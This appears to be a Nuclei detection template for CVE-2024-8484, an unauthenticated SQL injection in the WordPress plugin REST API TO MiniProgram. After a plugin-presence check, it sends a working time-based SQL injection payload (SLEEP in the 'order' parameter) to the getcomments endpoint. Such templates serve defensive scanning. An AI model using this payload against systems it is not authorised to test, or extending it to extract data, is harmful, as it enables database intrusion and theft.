CVE-2024-8484: REST API TO MiniProgram <= 4.7.1 - SQL Injection

id: CVE-2024-8484

info:
  name: REST API TO MiniProgram <= 4.7.1 - SQL Injection
  author: s4e-io
  severity: high
  description: |
    The REST API TO MiniProgram plugin for WordPress is vulnerable to SQL Injection via the 'order' parameter of the /wp-json/watch-life-net/v1/comment/getcomments REST API endpoint in all versions up to, and including, 4.7.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
  reference:
    - https://github.com/RandomRobbieBF/CVE-2024-8484
    - https://www.usom.gov.tr/bildirim/tr-24-1528
    - https://plugins.trac.wordpress.org/browser/rest-api-to-miniprogram/tags/4.7.0/includes/api/ram-rest-comments-controller.php#L247
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/6e0945eb-ceec-4536-822a-fe864c21b580?source=cve
    - https://nvd.nist.gov/vuln/detail/CVE-2024-8484
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-8484
    cwe-id: CWE-89
    epss-score: 0.73679
    epss-percentile: 0.98774
  metadata:
    verified: true
    max-request: 2
    vendor: jianbo
    product: rest-api-to-miniprogram
    framework: wordpress
    publicwww-query: "/wp-content/plugins/rest-api-to-miniprogram"
  tags: time-based-sqli,cve,cve2024,wp,wp-plugin,wordpress,sqli,miniprogram

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "/wp-content/plugins/rest-api-to-miniprogram")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        @timeout 20s
        GET /wp-json/watch-life-net/v1/comment/getcomments?order=DESC,(SELECT(1)FROM(SELECT(SLEEP(6)))a)--&postid=3&limit=1&page=1&page=1 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'contains_all(body, "code","success","status")'
          - 'contains(content_type,"application/json")'
          - 'status_code == 200'
        condition: and
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